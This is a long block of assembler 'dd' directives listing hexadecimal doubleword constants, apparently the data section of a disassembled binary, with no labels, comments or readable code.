dd 1233D5BDh, 0CE035B98h, 38088F00h, 888464E8h, 52C700B6h
dd 46C3B986h, 0CB00F497h, 0DF47E34Bh, 28AAF328h, 747CF0D8h
dd 621D002Bh, 94C0D49Ch, 9D00A82Ah, 0CEEB54EDh, 72E95BE7h
dd 1EE400D1h, 0CF9372A6h, 31036DEEh, 300BC33Dh, 43D5D1DBh
dd 686ED0h, 2608898Dh, 7C71024Dh, 79500300h, 2294308Ch
dd 8D110018h, 75BE3CCAh, 0AF04F83Ah, 2782DA8Eh, 0EC94F4C0h
dd 0B0A30076h, 1D38310Fh, 5138DDE9h, 8C30CBCh, 73101Ah
dd 876E9D0Ah, 0D3336FDCh, 530302ECh, 0DABB8E17h, 601E0B6h
dd 288D009Eh, 0C463F8E4h, 0F90737BDh, 702B3CF5h, 0C07E81F2h
dd 5A585A4h, 98DCF6AFh
dd 0B3DC0FE4h, 35946120h, 0BD01E63Eh, 14F4A788h, 5DF83A40h
dd 226E3B67h, 79909507h, 48D84060h, 0F1002AD0h, 0F5F07C99h
dd 20BCC1h, 850317E9h, 0A0CB4E5Dh, 4C6BCE00h, 7591FA6Dh
dd 32BA00BEh, 58C27DB0h, 2D008374h, 526CA464h, 244AE9AAh
dd 1184222h, 6A218D75h, 0B647F8F4h, 5E5FEB15h, 0B58000D8h
dd 26745D61h, 594D0013h, 63C54A86h, 3300F781h, 0AF40B7EFh
dd 37B1E8Dh, 0BEB6E62Bh, 8C936098h, 9BE9D9C0h, 72ECEB00h
dd 54A6488Eh, 9A14018Fh, 0CBCF0F26h, 0B36C0B4h, 6FE04C01h
dd 0E998A0F1h, 2E5A2DCh, 6EAC39F5h, 2460B6D7h, 86003120h
dd 0F203471Ch, 1D4133B0h, 0CF304E9Eh, 0FE409F26h, 676EDD5Fh
dd 0A2421F17h, 0B2E60300h, 280D6Bh, 38E89681h, 1327BF62h
dd 7275048h, 0E64830D1h, 0E5D55D71h, 3E46ECh, 0FE2A9985h
dd 0F8587355h, 67B7FD00h, 0E4BCF4C9h, 20DD676Eh, 0C3B3F044h
dd 3100AE12h, 4E8CA62Bh, 13F6BBh, 0AC91DC7Ch, 0D0CC4899h
dd 38CEE00Eh, 0C82CE04Bh, 2C15F38Dh, 0BD3A6Eh, 0D6AEEBFFh
dd 0C61E09E3h, 0F840A6CAh, 5C0E85E6h, 0D31A0055h, 0BE60C0F4h
dd 0BF01109Ch, 46FD5E4h, 7BC82EC9h, 2F393938h, 0B003A007h
dd 313D7041h, 1790AD07h, 0F6D2A300h, 9CA3CACh, 0A5BA241Fh
dd 55380457h, 9F4C80F3h, 79900399h, 0BC1FD0F0h, 1D006924h
dd 0C06D89AFh, 127F3AE1h, 44550073h, 0D42E033Bh, 3800B588h
dd 0C68D4128h, 293E35Dh, 0E67326D2h, 4C4153A3h, 43587072h
dd 7B3FF900h, 29C4C505h, 0BE1200A1h, 0E67FDEFAh, 8701E011h
dd 3BD2B94Ah, 20802E8Dh, 0FE9F5847h, 401D33D1h, 6585F5EBh
dd 0D7C32CA9h, 3B47E127h, 0AF7320h, 51B55CAh, 0DD7163EEh
dd 8A95401Fh, 25110179h, 5DBD8EAAh, 4033A842h, 0E5984B70h
dd 0F167FCh, 51EA3D7h, 16C86BE8h, 0B4D06900h, 0ABB252B3h
dd 42A2007Bh, 0DD6DADAEh, 3B079B8Fh, 1D56D6CAh, 7F904B90h
dd 0EFE90044h, 937981AFh, 133FEA5Bh, 0CF060061h, 24429E23h
dd 0C0F817BFh, 84760080h, 0FCB9308h, 9E1E9200h, 468542E9h
dd 0D2C101EFh, 39F740E7h, 0C90070B0h, 14075B98h, 52A7A8DCh
dd 5FB1403Fh, 2B3DF75h, 0EA81F84Fh, 27602FB0h, 9416EDADh
dd 0FE9EE8h, 81EF7CCBh, 0CF009022h, 0FEEE9618h, 1450CA34h
dd 97E3D572h, 0AB23E803h, 76B395A2h, 0E0010E6h, 0CFA173ECh
dd 3CCD88F7h, 5B80B544h, 9716A289h, 3F012E1Fh, 0C29228F8h
dd 5FC2F08h, 0FE6700D7h, 3AF71E0Dh, 0B00A39Dh, 1341C00Ch
dd 906FAE25h, 0C4431D5Bh, 0C3FAC0E1h, 0C857C936h, 62767901h
dd 0FEF7BFA3h, 0C0F8A7D8h, 0DCEF86CCh, 0C3000EC7h, 15871EB1h
dd 2CD485h, 53D3430Dh, 0EF7D9BBh, 467ABF00h, 64DE82F6h
dd 0F19E0093h, 0F05C29D2h, 2D0372E7h, 0F66A5744h, 2FD0E140h
dd 67D304D4h, 0F06FF069h, 0DB957C68h, 0E4D8BA01h, 0C0B06386h
dd 0B8722420h, 6F5003Eh, 0D66D131Eh, 8E006958h, 0CE22709Eh
dd 7F9D066h, 0C33B2147h, 0B968A035h, 29005896h, 0EE7C6B4Bh
dd 1F41432Eh, 33CA51Fh, 98C37FBAh, 8C6A9087h, 0BF05F5B0h
dd 7821CE82h, 0FE76D080h, 89150062h, 267BFF25h, 4FE897E0h
dd 4145AC00h, 0D43F6D5Bh, 0A805002Fh, 20553486h, 1300D71Dh
dd 0F946E68Dh, 75BFC63h, 0E89AA9D6h, 31F5D087h, 0BF009076h
dd 6FCF078Bh, 7D194EFh, 790839C5h, 0A1E2402Ch, 291C12C4h
dd 0DF804757h, 0B6C36836h, 6E3102A3h, 0DAE65BD3h, 14F02A40h
dd 0A091291Dh, 0BEF91D03h, 0E0D0D26Fh, 8BCC70h, 0DC58786h
dd 9EDC9627h, 0ACAAB800h, 0AE68B41Fh, 25AF2675h, 1160194Ch
dd 5B0880B6h, 21C3D9Eh, 0FAF60034h, 0C0E1781Eh, 0DB00601Bh
dd 0BEE3DFDEh, 70933D74h, 14A6002Ah, 25FDA923h, 77000C2Fh
dd 75869E52h, 65B008h, 1E0E2062h, 2317B46Ch, 0BAA85A39h
dd 0D68A071Fh, 7C40367Eh, 0BC7BB5h, 0A1135368h, 63747903h
dd 94EED207h, 0C6E02F26h, 160C25FAh, 2C2A73h, 5B624DD4h
dd 80B013E2h, 90081E02h, 604EA68Fh, 19D535BAh, 0D8987920h
dd 75D17002h, 0D1AAF203h, 0B8ADBDBFh, 1D233A20h, 2CC108D3h
dd 1C6F005Eh, 659F6637h, 5B00A2ECh, 93B484Fh, 1F7B478Dh
dd 0C0887784h, 0EB1F5831h, 0CD006F1Dh, 9836058Ah, 72442127h
dd 7837005Ch, 3DE994DCh, 81794E19h, 0CAFB2D17h, 0C3D600FBh
dd 441F40ABh, 0AF882300h, 8018090Ah, 0C9C10558h, 0C04C83CFh
dd 407DFB11h, 2A9CE700h, 0D2F759B6h, 15B30E08h, 6EC0C2F5h
dd 0CB445A9Fh, 0F1DBD124h, 94C8D601h, 0C0D3183Fh, 4DED8FCh
dd 0E27D9E80h, 0C2F8D097h, 6700CD1Dh, 688657E4h, 701B6Fh
dd 853A534Bh, 8E07F5B4h, 0DB871A07h, 73A09AA4h, 1910590h
dd 0B9923F4Bh, 0E8D93375h, 0EA0DE2F2h, 787EB8EFh, 0CD49D400h
dd 0E72E0083h, 0E22AC329h, 0A290EE57h, 0A6B8104Ah, 0A64DC900h
dd 916FE8F3h, 255AD500h, 0CB288A63h, 9DA09E3h, 0B4001A2Fh
dd 235895F0h, 3480A709h, 92EC46F2h, 0BCF75F84h, 0A8974020h
dd 0E80F4E1Fh, 8F88DD40h, 0B86FB0F5h, 792D01A0h, 0D137EF85h
dd 4E4030F7h, 9202AA07h, 1AD0F0E1h, 2B3957h, 0BDF4A7C5h
dd 622DDDD7h, 4CEE700h, 189B70F6h, 631D018Ah, 381448AFh
dd 288F31ACh, 430A01B4h, 58DAA671h, 0A1D1AFD3h, 1EC4EBBFh
dd 7F170069h, 0E26C10A7h, 41004BDDh, 0D9BCF81Bh, 1A0D092h
dd 3A7E0321h, 0CCAF15D3h, 2B0365AEh, 0BC75D4Fh, 31FFF819h
dd 316460CAh, 9D010C67h, 0E01EE601h, 0E4586946h, 1D6E4DE8h
dd 0BD4C136Bh, 0E9058F8Bh, 9387E0A0h, 0D00E2E0h, 0FE35EC71h
dd 0BF098Ah, 0B395B796h, 9FF95DF8h, 0BA2A039h, 80AB5412h
dd 3FF66040h, 18DF1D31h, 0C2904042h, 0CEAC6E8Eh, 0A24A28C0h
dd 0ECC737FEh, 1F2876E5h, 7BDB9Eh, 0FFA8B79Dh, 275C79C3h
dd 2DC400D0h, 39E3B03Fh, 94163E4Ch, 745D0200h, 2AD55EB5h
dd 96C9C31Bh, 688CDAB0h, 1388A4h, 0ED497F6Eh, 741B4D41h
dd 1EF83Dh, 782A62A2h, 0E82EC46h, 24A03C1Ch, 3A192900h
dd 440F02DFh, 23B604C6h, 80E1F6BBh, 38B91E2h, 89F017A1h
dd 4588A5B7h, 0C70E81DEh, 0A0E32492h, 0A97FB111h, 3DDA006Ah
dd 0B7E6D580h, 4C016D05h, 0DE431991h, 7D80DADh, 1E7100E9h
dd 9473DB36h, 59259087h, 0E9FCDFh, 1F304885h, 920F97B5h
dd 0C09AD904h, 653F63DDh, 665706C1h, 19B63E20h, 2AA29E0Fh
dd 457CA0B5h, 1FA4D0E7h, 0C707F2EBh, 0CED9AE58h, 2500524Fh
dd 0CD4887F5h, 27C5C100h, 3B42F295h, 0F3913C04h, 0FBFC4407h
dd 75DCC09Fh, 0DA748F50h, 0AD1A2513h, 3257AC00h, 333FDBh
dd 7BBC9CACh, 387DDFE9h, 43E70900h, 3475913Bh, 1E79FEF5h
dd 83B580B6h, 9E676417h, 0C3A85AA3h, 0B90F0A7Ah, 0CE593D82h
dd 7033CB1h, 98C094A1h, 12934B38h, 0D5E4A0h, 290472B8h
dd 3360F355h, 0CBC0767Ch, 0AF100D2h, 0E2306795h, 593A6A2Dh
dd 512472B9h, 4E40747Fh, 0AD639Ah, 37C5B1D4h, 55BAEE11h
dd 0D2BB8707h, 0C72005DEh, 438BE2h, 29CB35AAh, 5309D932h
dd 28B448h, 15E831F0h, 0A0281095h, 276CED8Ch, 0E4016E67h
dd 80F80E04h, 75A97DA8h, 0C0DB081Fh, 779E5328h, 0B89CD63Dh
dd 0BF5EA200h, 18FC5766h, 61A54712h, 2E1446CDh, 0C86284h
dd 6EE5688h, 3E95722h, 16E37A51h, 6088989Dh, 37033BA3h
dd 21B712A1h, 9F89B8FCh, 3C490047h, 0EBBE72D0h, 2207F71Ah
dd 0F11437B8h, 928905B0h
dd 83D90061h, 825B4AC8h, 0A401519Eh, 0F2256311h, 81C83D26h
dd 358F1334h, 6AA20004h, 0A5D10EA2h, 7313A01h, 6F11236Eh
dd 2DB5F0D3h, 48C33AB7h, 0EEABB800h, 0F9DCBCC1h, 1C2F4100h
dd 0DFDD4ADAh, 6A24170Ch, 160D03B8h, 0C7CACBDEh, 15490640h
dd 0ADF1C600h, 1D9FE5E8h, 0F4730021h, 5AA07737h, 0D15071F3h
dd 0DB00D590h, 428DF7AEh, 376BCDFh, 0BF197481h, 96886556h
dd 7A7FCC21h, 2B132700h, 78C39475h, 6F7907FEh, 0D0EA99DCh
dd 4E3C9D73h, 0EB904609h, 0A0E80F7Bh, 0D1C3E963h, 599B00B8h
dd 7D783041h, 0A1008AAFh, 0E77CA9ECh, 193E360h, 385B79D3h
dd 70624CFEh, 92097B94h, 828D33C6h, 843B89ACh, 0B4D0F890h
dd 50BD90F3h, 1FD9495h, 81BA2F52h, 0C4DD7C5Eh, 8A042BD5h
dd 9F71267Bh, 2CD99481h, 550024h, 0BE1C97EBh, 6D09F644h
dd 6C3E1A00h, 0FACB45F0h, 0B7200C3h, 394DCCB7h, 23305905h
dd 0C52A08BDh, 637A0768h, 60413F16h, 31D5F708h, 936B6100h
dd 493A14CFh, 0E299007Bh, 52A84059h, 1C00F288h, 0B53306F3h
dd 0F25DCE29h, 66CC02DFh, 8CEE84C3h, 0E6C91540h, 952E4C00h
dd 76A7B240h, 58F60001h, 6E61C469h, 1100E428h, 0D0248843h
dd 4C4CAC2Eh, 4F0FB00Fh, 6220AFEAh, 8D7A4E05h, 0F4EF4A0Ah
dd 0C500F0ACh, 639C7E89h, 0D52F1C32h, 30F864F1h, 8BF4EBEAh
dd 0CADB7F00h, 8DE03790h, 937C02E5h, 40C82DB0h, 0DB80B0E3h
dd 921E52A2h, 0BB95F67Dh, 0F44904F0h, 0E77148B9h, 11686096h
dd 0BEDEF000h, 0A2C98F1h, 0A4B8006Dh, 619D7EDDh, 0F00022ECh
dd 0F162DC07h, 0EBB67C8h, 60CD6A4Bh, 0EC36B4E0h, 4000D0DBh
dd 8487E2B8h, 72082CBh, 4E67FAF3h, 62F8B038h, 0D1007B0Ah
dd 36E8F48Ah, 4A59DABCh, 48F8003Ch, 7A697764h, 68B49700h
dd 0E45E62F4h, 390407EDh, 40E1F847h, 0BF34554Dh, 0BECA0D0Bh
dd 4CD580F6h, 0B077D893h, 8CE82680h, 0ABBC0A6Dh, 24E900A8h
dd 0ADA20E23h, 0EC3E1B24h, 184CFD1Eh, 0A251067h, 313D389Ah
dd 319C6604h, 2B42717h, 2330B418h, 0FC4B073Ah, 3001F05Ah
dd 0FB3C6A98h, 992211C7h, 20F94E82h, 146CF272h, 0BFEEB401h
dd 9DE00E03h, 0A6B7F4h, 602C3385h, 0CB6D047Dh, 2352B900h
dd 0C0B305Bh, 0F9FA0092h, 21205835h, 6B1F9071h, 8CCFD5F3h
dd 2F4B407Eh, 3ACF1453h, 0B25C9131h, 1315C400h, 0D9B385C2h
dd 39B1D11Fh, 613BA7C0h, 77EF74C3h, 6BECE541h, 0C6F7CF2h
dd 85B693DDh, 0FD3A3329h, 3AC3C96h, 0E51720Ch, 5B080A34h
dd 141CB6h, 8450C19Bh, 0AA00E5ACh, 9E580BCFh, 0FCAE75h
dd 311A5949h, 10032205h, 89807A00h, 173E5713h, 0FA520197h
dd 34698DD2h, 0E9ED0CBh, 5A032F03h, 0C0316237h, 0BB8072h
dd 0C22829BFh, 0A68D0470h, 0AEAD4E00h, 0CB6820B0h, 191638CDh
dd 5414017Dh, 0D231C4CAh, 0FD40DC36h, 101EC900h, 0AB15D39Ch
dd 71CA1CDEh, 0BBDC81B1h, 0F890645Eh, 0B503A71Fh, 946B2643h
dd 0ACD8023Ch, 0B1E769E4h, 0C6B856E0h, 79DC5706h, 1421A12Eh
dd 946AD659h, 0ADBC8D00h, 437BD139h, 0D7203A60h, 0EA8796h
dd 631EB771h, 1F6D484Eh, 175BE100h, 0CEECDFF5h, 68350A73h
dd 9CD09B12h, 73369C74h, 0B9D0BF60h, 140EBC63h, 20BA3C4Bh
dd 0FB0852A9h, 0B4240377h, 0A426BEDCh, 303371B0h, 37008B7Fh
dd 59273B9Eh, 0EEF962BFh, 0A555007Bh, 6D35EFA2h, 9F002116h
dd 95E852D7h, 1202675h, 0BE7119E9h, 7880C1B1h, 0D23EA8h
dd 1DC4DC5Dh, 7EFD5E70h, 1A1B3146h, 8E909BE1h, 0D3C8A4A9h
dd 0BFD37B00h, 755BBAh, 4FD0A288h, 0AE829E0Dh, 4E2F7800h
dd 0BD3CA730h, 0ACA90025h, 8DAFFD36h, 0A000D370h, 1B816FD6h
dd 0FC7FB60Fh, 0C8F0F1E7h, 0DF992E34h, 0D56507E6h, 0EE10A050h
dd 400B7D2h, 1A4B0BBEh, 64E9ADD4h, 4009294Dh, 260EAED6h
dd 7AAF1E23h, 0DB39C2FCh, 88E036C6h, 590EB0BDh, 601AA1CDh
dd 17E6E3DCh, 0DF754Ch, 133DCC55h, 8F39FCD5h, 825CD300h
dd 7E9C8BF5h, 0F9760EC8h, 85AEAA46h, 0D166B980h, 1426A5B0h
dd 11002D7Bh, 45975DB8h, 261B0FE7h, 0CB60F6C3h, 47A6A8E3h
dd 15DAF701h, 0E42AFA65h, 9AAFE887h, 40FCA742h, 550E0F06h
dd 0E3F38B01h, 7D8970EBh, 0BFFDD0E3h, 5E560463h, 80CBAC30h
dd 0BD0295E4h, 8E1A5400h, 0C97C465Ch, 0A4C15CA9h, 9A21BF00h
dd 0B7194F48h, 8C137D00h, 0FA6B63B8h, 7F2800BDh, 0EE716A43h
dd 0B6FC22D3h, 0F945EB0Fh, 79514092h, 0FAE4125h, 0C9E96BE4h
dd 0D2EBF520h, 76E273B9h, 0D65EDE00h, 0C59D637Eh, 24D30002h
dd 0A569A00Ch, 0BB7873AFh, 579F8C00h, 0A2E8F112h, 0E76C3B21h
dd 0A3824D00h, 0A864FDC5h, 0C96A5600h, 729DF380h, 52270366h
dd 0E41AE2C4h, 7BB63090h, 53FD6400h, 7AC3D2E0h, 5A000EAh
dd 0D9D61069h, 0DF2C5813h, 7707788Ah, 0F930596Dh, 64F850h
dd 0C412EE72h, 7ABE2C5h, 0C86DF500h, 3DA8C635h, 0DAF90054h
dd 2F3AE7D5h, 0B70001ABh, 0C0B9F2E2h, 197DEFh, 8521D263h
dd 36094EBFh, 0D3051700h, 62781B9Ah, 0AD3F006Ah, 87FC7D2Bh
dd 81E88D90h, 2800D675h, 5D2DC112h, 3AFFDE8Eh, 0B0846CD8h
dd 80D2245Ch, 0F088A578h, 33EDF900h, 78283CFEh, 40F208h
dd 0C9232C35h, 0B53770CDh, 33B19000h, 55C30B2Dh, 12E5004Fh
dd 0B7EB2B30h, 300385Ah, 0BDDA189Fh, 5E2CD62h, 0B37FCD2h
dd 0A60307Eh, 0E90086ECh, 0AA23E06Ah, 9043CC37h, 91A91E68h
dd 0F57C40DCh, 359C6498h, 764CD248h, 0A0B76900h, 396DEB08h
dd 0D91804C3h, 0C0C97EF7h, 86B90914h, 93008BF0h, 0A2FE4FDFh
dd 0C2F495h, 2069104Eh, 19CB1BB9h, 0E3744303h, 80049FD8h
dd 0A0608651h, 8E7EC9h, 3BAA19CAh, 0B0597232h, 83666A3Ah
dd 315545E8h, 8741C1D4h, 6E3CCDC4h, 80098D9h, 2870B87Eh
dd 0AF00497Eh, 0A1F0990Fh, 15BF1CAh, 5FD66FC2h, 0F8DF0801h
dd 609D2978h, 24D06AC5h, 1C937D81h, 71AB004Ah, 0B615A39Eh
dd 0B1065F00h, 0A7536FC4h, 63DA00CBh, 8C7C6EDFh, 9919650Fh
dd 0B80D3D6h, 70A8024h, 0C59CCBA8h, 8DD9D0E1h, 2603D107h
dd 0FAF1613Dh, 0C9A1E8CCh, 0A7EA3A23h, 0FB64BA80h, 4A84C631h
dd 4F005E7Eh, 95F52F0h, 17CA3B7h, 8B859960h, 0C9F84931h
dd 0A4CCE0A8h, 0B643FA00h, 0B4F54E82h, 972600C0h, 1F6A75D0h
dd 32721D52h, 11F41E00h, 0C6BD0F7Dh, 8AA900D2h, 246BD0C9h
dd 94E69118h, 410499F4h, 19AACACBh, 71421980h, 0C0637297h
dd 468AFF78h, 802C9CCCh, 0CD0E0DD5h, 36CE00EEh, 17832C7Fh
dd 0F18771h, 294D31Ah, 141D66E0h, 0B8C069BAh, 43D5CAA5h
dd 0F9920045h, 204188B3h, 6A04E36Fh, 0BB336413h, 0E61798D0h
dd 0E8210340h, 81679E07h, 5FA411C8h, 4D3CA890h, 1EC20043h
dd 397F8AA3h, 0C3E400E8h, 0B8D33564h, 60BDD2E9h, 0DDDA52h
dd 0C2D05E76h, 0A489D86Dh, 0BF8AE712h, 8344F100h, 2AF25Ah
dd 5865137Ch, 1BA171ACh, 3DCBAA00h, 0AF4B0FABh, 1C9700A5h
dd 0F9CE3C82h, 4902353Eh, 857665D5h, 0C14C05Dh, 60D700D8h
dd 5BC6ECCBh, 0AC0126F0h, 0F78890D3h, 5AE0E021h, 65450085h
dd 94CE9CB0h, 73002AC6h, 0B1FB22E6h, 0A1DB3AB7h, 0F3C8159Ch
dd 2DAE004Dh, 0D39128Dh, 0AA004B2Eh, 0AF869A31h, 0A7BD92h
dd 2375461Eh, 66FB7161h, 0C601E490h, 8BA84D5h, 0BCE4546Eh
dd 35E300C0h, 9CF1453Ah, 0C503C1DCh, 0A17BB4EEh, 91390C4h
dd 2CFF0043h, 0BC76FA53h
dd 201CA490h, 1A40ECAAh, 293C888h, 9A80296h, 84D02D61h
dd 6480A342h, 0E11062E6h, 0A0C39800h, 37586C80h, 15FCEFh
dd 3FBB7AB3h, 0CB2F0BF0h, 0A75F4E00h, 36AFC19Eh, 0A91C3830h
dd 0E1492180h, 14479045h, 0F8D2462Ch, 8F55BB00h, 7A432E67h
dd 0E632003Bh, 26B3FFB4h, 0B50B8561h, 8AEBB8h, 0E878657Bh
dd 0A475005Ah, 2618F8F7h, 5C98167Dh, 0B95D700h, 22C76AEAh
dd 67F20748h, 7045BFB4h, 8646B185h, 1F30975Ch, 0C6C02D08h
dd 0B743DB88h, 2853E05Fh, 40107D07h, 0B93ED01Eh, 0D5208E43h
dd 69AB80AEh, 0C0EA7B3Eh, 99E4FAB8h, 0E500B437h, 0EEAC3891h
dd 0BA048F72h, 7DF07A64h, 0C99800D5h, 1E391915h, 0C41256D1h
dd 5D002BF8h, 6F7FB9E4h, 8BB60302h, 0EBDB81FBh, 840240C6h
dd 75C4BE24h, 0A479E017h, 28130397h, 0E3CA12F8h, 45A81900h
dd 0CC7B72FCh, 0A3D31F14h, 0F14A014Eh, 51C99981h, 0EAF98714h
dd 1BDE6740h, 8DDD9500h, 0EC9683EAh, 54E800BDh, 0BBA0ABD0h
dd 0D30B0AF8h, 0D7E9C693h, 0C4ADBA84h, 9BC03C0h, 47D8FBA2h
dd 0F7305748h, 0DBD47401h, 0C269009Dh, 99B2E1E3h, 0C03C94Ch
dd 0E72027B8h, 8665F05Ch, 76D6000Eh, 0A1395BAFh, 0D0005A2h
dd 0C2719F6Bh, 5077B90Fh, 2CAE5819h, 1322FBC7h, 9F9006A2h
dd 0C0300894h, 0A0082016h, 515658FBh, 58714000h, 0DA4A5282h
dd 0BDB47F18h, 86202B50h, 14BEA348h, 8828C2EDh, 9C54807Ah
dd 7BE54EFBh, 51AF321Dh, 0EA3DB140h, 1BDBEB8h, 0A84A9B35h
dd 48A2B910h, 0FB059854h, 5F0AED82h, 0B12D2C70h, 0F2D602FBh
dd 54C38E03h, 0A813CD2Eh, 406E2402h, 0ECCE990Ch, 7393002Bh
dd 0AA45A270h, 0D4F9D254h, 0BF60B229h, 1C7FC831h, 2D400151h
dd 0DD3CD312h, 4EAFD011h, 809620CFh, 0D951AA15h, 49050E18h
dd 0B94C5FCEh, 0A7E40B41h, 93C45C00h, 4809953Bh, 0CED20355h
dd 0BF91E026h, 854AF8E0h, 5C738D00h, 42B74EA8h, 3A6601FEh
dd 0F021DD86h, 55089877h, 79B021h, 0FAA6E04h, 0BD138D28h
dd 0D749BA63h, 7B7CD326h, 78A0058h, 86EFD49Ah, 5D1DDFB5h
dd 3A80AA8Bh, 65639FC7h, 0FA780003h, 67F94756h, 8900F454h
dd 0C37AC619h, 0A87E75h, 0D5218494h, 8E32053Ch, 0D1170107h
dd 9E901E79h, 141C06Ah, 59BDABACh, 0D82E76A0h, 0F87B398Fh
dd 8069A238h, 0C5A4F023h, 0F21D5C89h, 9F0C0061h, 98CA6348h
dd 0D600E518h, 6C7E24DAh, 10D1A7Ch, 7B6A314Ch, 0F47AFED0h
dd 4A000882h, 0B7E19C47h, 0B4DD45h, 9252F998h, 70FF8F29h
dd 20BCF8F5h, 4A0009F0h, 17BF56CCh, 0EF0F6h, 0AB9395C7h
dd 0CB0280B9h, 3F00C37Dh, 0C4525F8Fh, 0A66509h, 0A2056177h
dd 954A2B25h, 4D8DAA0Fh, 0F2A900A7h, 0D6AE1h, 8229AE11h
dd 0FE2CD305h, 43206462h, 0CA47E0E7h, 9A6A0146h, 0B38E820Bh
dd 8BE72144h, 34BA791h, 42EEDDh, 18BA8511h, 6EBA97Fh, 0BBB40E01h
dd 3970AD1h, 0F3209Fh, 0AC85F217h, 613E1694h, 6EF093E9h
dd 79D36B06h, 0E7F308F9h, 0E28032BFh, 0C81EA614h, 0A9690084h
dd 0DC236FD2h, 950F6830h, 0A077A1C2h, 8DF51237h, 2A6D385Fh
dd 0D160410Ch, 70188E10h, 6FF28536h, 89EF07BAh, 7047C177h
dd 9408EBCBh, 0BE383BFAh, 0DA3E6Dh, 0E45D8F27h, 15BDCCDh
dd 5639C073h, 0C588FED8h, 9F38E455h, 9400BD7Ah, 0A5AEB93Fh
dd 0FCD0ACh, 5B018220h, 3AE58D40h, 4A6D2700h, 552C4C12h
dd 0EBE40081h, 0EAAFBCCFh, 0A8018368h, 543F8828h, 4BCCD17Ch
dd 3FFF4CAh, 6E95AABCh, 0D0E786B6h, 0DC92AD01h, 33BE2200h
dd 2D67F63Ch, 0A69F00A9h, 2C3E71C5h, 3600746Ah, 0D9734107h
dd 1E13782Eh, 0FE35DE17h, 0EA5D7783h, 0FA37D4Bh, 0CED6211Dh
dd 0FA373A40h, 7999C06h, 2426635Bh, 3FA52075h, 80E5D642h
dd 34E11851h, 1CBEE022h, 73F61D32h, 213E7108h, 0A2390031h
dd 2A38F1ABh, 0F4B9745Fh, 0B1730043h, 2D68C68Eh, 3B0595B7h
dd 785F1D27h, 6B5081AFh, 4890B0DFh, 0F0C643E7h, 0B94200CAh
dd 4009AB59h, 26F0247Ch, 5E18891Fh, 1DB36301h, 0A9837BC9h
dd 0D16E4B90h, 0AC61000h, 0DC1DEDBDh, 0F33D1DF9h, 0DF6080A7h
dd 0C907D330h, 2AE771Ch, 34BB8080h, 92A0B6h, 0F34645EFh
dd 5AEB3EA4h, 0A1001EF6h, 82C3EED2h, 0EE9E1CCh, 0ADEC02D1h
dd 0AF5E7CA0h, 8B0CE634h, 51A0418Ch, 78F913DBh, 88EB0006h
dd 1E862E08h, 0F028BB00h, 0DFCC3D29h, 46F043h, 0E674321Fh
dd 0D8A177FFh, 823EAFFAh, 72750347h, 0E844029Dh, 366F315h
dd 607026D5h, 0D6C0C931h, 8F303CA4h, 0B7C198F2h, 621101D5h
dd 0B0EDF175h, 3EA9F1B4h, 85892201h, 0D4602906h, 6A7B00AFh
dd 0C6808C75h, 0E630C902h, 854FB9A2h, 0C29F87Eh, 0C5A5D1F0h
dd 53073618h, 8B32848Eh, 0EB13101h, 4DEFD8D7h, 0D590687h
dd 88DBB373h, 552D190Fh, 0A090EEFAh, 0FEAA92BDh, 0D8520779h
dd 0A059CBD3h, 0B5B91F16h, 0C10001FCh, 60B10F56h, 0F35A3FD8h
dd 1C94660h, 6E081C85h, 0F0CCCB89h, 390053A7h, 84E729C0h
dd 0C85F41h, 0D12A013Bh, 58B54AE8h, 2E30B603h, 0C3FE966Ah
dd 41CCC0F8h, 1C5C0077h, 0D7948755h, 0A8EA3EC0h, 1D00A3B0h
dd 44DE07E7h, 0E5C9AFCh, 0BA6BFA8Fh, 27088960h, 4100B959h
dd 6D80E07h, 7E8DDF3h, 9B93A41Bh, 0DB10E0B3h, 985058B6h
dd 7575362Ch, 6CF73400h, 0E8FF53A9h, 0F85C0093h, 2BC1331Dh
dd 9007F537h, 0BF625A34h, 0BC3E470Fh, 4CF904F0h, 2D4400D5h
dd 0D88682DAh, 3500AC75h, 0D120840Ah, 18467AB9h, 39DFC19Dh
dd 7F48B2E7h, 5A007D31h, 64C0702Ah, 0A38747h, 39274BCFh
dd 79986108h, 0F2A0A860h, 744784h, 1D1F8D46h, 448C5076h
dd 5F024E1Ch, 3E00C8E8h, 1C4182EAh, 17DF2Fh, 70BBBEFFh
dd 32F1B7A8h, 25ABD726h, 89EA5C0Ch, 8C7D0087h, 56D9C337h
dd 3C002BFEh, 0A370B2D5h, 0D1DBD2h, 9C80BBC1h, 0F1E16D46h
dd 0EB07F875h, 80FAD7Ch, 2590D870h, 0E79B0074h, 381C15D0h
dd 450172C5h, 0CA06E43Ch, 56D4FCB9h, 66D67084h, 210E087Fh
dd 0FCF8E338h, 0F9FD8700h, 7D0DD1A7h, 3A691ED0h, 1FF4C073h
dd 5BA652EBh, 1EC2FF00h, 72C49FBFh, 736733Fh, 126444A8h
dd 693C40ACh, 9FF82A4Ch, 18CE9700h, 0DCDEC154h, 17CC00C9h
dd 1A811CB9h, 0CA006E6Ah, 168ACE1Fh, 60CBDCF4h, 59A69169h
dd 0FC018264h, 6CDEEA48h, 2080D9FEh, 0A6C2EF1Ah, 0C8168B44h
dd 6200CE52h, 0BB9E31C9h, 0FC780066h, 7FDE6C76h, 4F007A87h
dd 3F732E6Fh, 147E6D89h, 90CA3EE5h, 18A0EE1Fh, 4AA10ECh
dd 0AEADA700h, 0C0DAF5C2h, 394F3DCCh, 405A16h, 46ABEC50h
dd 573F66D1h, 87E7BC65h, 5F6E03DBh, 0ED8CFEA0h, 1DEE2B6h
dd 0B3559896h, 0F0446F3Ch, 0B017153h, 0AD24C16Ah, 60EC22FEh
dd 0BE3E0029h, 58CE0CD0h, 9D008EF1h, 0CAA15BFDh, 0B09692h
dd 49F3D1CDh, 1C6F1E98h, 0EFC18007h, 5E70B385h, 6528DBh
dd 0B5A791A8h, 98AA49B9h, 10747F0h, 0A30F4BD9h, 9A18CD4Ah
dd 0CFAE7908h, 0D8E3C820h, 0E5C82322h, 0D56119F3h, 4DE36650h
dd 0C098A570h, 1EAB2728h, 0E900B6FAh, 813571BCh, 0F099B61h
dd 0F96C557Ah, 471849A0h, 12307E93h, 91C061D7h, 75810063h
dd 39EEBCFh, 2D0348CCh, 58167A01h, 5D27C0FCh, 0BB23488Eh
dd 0D5AB2800h, 7471CD57h, 44A25E00h, 0E1956F4Ch, 95D0ECFh
dd 0B7E0CA41h, 605CF368h, 49DCBE00h, 0DB4394DEh, 0E45F1C80h
dd 0A4B74057h
dd 0D7C05E41h, 0EDE8B97Eh, 4836A300h, 210C45CFh, 0FD87E8D0h
dd 0AF822080h, 301441EDh, 27D10D00h, 0F5E2D347h, 58EC0068h
